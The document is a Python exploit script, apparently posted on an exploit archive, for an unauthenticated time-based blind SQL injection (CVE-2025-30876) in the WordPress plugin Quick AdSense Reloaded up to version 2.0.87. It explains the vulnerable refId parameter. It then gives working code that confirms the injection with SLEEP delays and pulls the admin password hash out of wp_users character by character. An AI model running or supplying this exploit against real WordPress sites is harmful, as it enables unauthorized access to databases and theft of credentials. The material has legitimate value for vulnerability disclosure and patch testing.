Share
## https://sploitus.com/exploit?id=PACKETSTORM:226447
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Ads by WPQuads / Quick AdSense Reloaded <= 2.0.87 - Unauthenticated SQL Injection
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/quick-adsense-reloaded/
    # Software Link: https://downloads.wordpress.org/plugin/quick-adsense-reloaded.2.0.87.zip
    # Version: 2.0.87 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2025-30876
    """CVE-2025-30876 โ€” Ads by WPQuads / Quick AdSense Reloaded <= 2.0.87 โ€” Unauthenticated SQLi
    
    Blackbox HTTP time-based blind SQL injection against a real WordPress + Quick AdSense install
    that has the "sell ads" feature in use (the `wp_quads_adbuy_data` table exists with >=1 row โ€”
    see setup_state.sh / README for how to create that state).
    
    Root cause: `quads_authorize_payment_success()` is hooked on the unauthenticated `init` action
    (includes/ad-selling-helper.php:87). It reads `refId` from GET and concatenates it, unquoted,
    into a numeric SQL context with no preparation:
    
        // includes/ad-selling-helper.php:105
        $ad_details = $wpdb->get_row("SELECT * FROM $table_name WHERE id = $order_id AND user_id = $user->ID");
    
    `$order_id = sanitize_text_field(wp_unslash($_GET['refId']))` โ€” no quotes are needed (numeric
    context), so `refId=0 OR SLEEP(4)` injects directly. Blind (result used only internally), so
    time-based extraction is used.
    
    Gate params required: status=success, ad_slot_id>0, user_id (an existing user id, e.g. 1=admin),
    refId non-empty, and NO `target` param.
    
    Usage:
      python3 CVE-2025-30876_quick-adsense.py --target http://localhost:8090 --dump-hash
    """
    import argparse, time, sys, urllib.parse
    import requests
    requests.packages.urllib3.disable_warnings()
    
    def send(base, refId, timeout):
        qs = {"status": "success", "ad_slot_id": "1", "user_id": "1", "refId": refId}
        url = base.rstrip("/") + "/?" + urllib.parse.urlencode(qs)
        t0 = time.time()
        try:
            requests.get(url, timeout=timeout, verify=False)
        except requests.exceptions.ReadTimeout:
            return timeout
        return time.time() - t0
    
    def oracle(base, cond, delay=4):
        el = send(base, f"0 OR IF(({cond}),SLEEP({delay}),0)", timeout=delay + 15)
        return el > delay * 0.7
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--dump-hash", action="store_true", help="extract admin (user 1) password hash prefix")
        args = ap.parse_args()
        base = args.target
    
        print(f"[*] Target: {base}")
        print("[*] Calibrating time-based oracle (refId numeric injection on init hook)...")
        t0 = send(base, "1", 20)
        t1 = send(base, "0 OR SLEEP(4)", 25)
        print(f"    refId=1 -> {t0:.2f}s   refId=0 OR SLEEP(4) -> {t1:.2f}s")
        if t1 - t0 < 3:
            print("[-] No delay. Ensure the sell-ads table wp_quads_adbuy_data exists with >=1 row (see README).")
            return 1
        print("\n[+] SQL INJECTION CONFIRMED (time-based blind, unauthenticated).")
    
        if args.dump_hash:
            print("[*] Extracting wp_users[ID=1].user_pass (first 16 chars) via boolean/time oracle...")
            h = ""
            for pos in range(1, 17):
                lo, hi = 32, 126
                while lo <= hi:
                    mid = (lo + hi) // 2
                    cond = f"ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),{pos},1))>{mid}"
                    if oracle(base, cond):
                        lo = mid + 1
                    else:
                        hi = mid - 1
                if lo == 32:
                    break
                h += chr(lo)
                print(f"    hash[{pos}] = {chr(lo)!r} -> {h!r}")
            print(f"\n[+] Extracted admin password-hash prefix: {h!r}")
        return 0
    
    if __name__ == "__main__":
        sys.exit(main())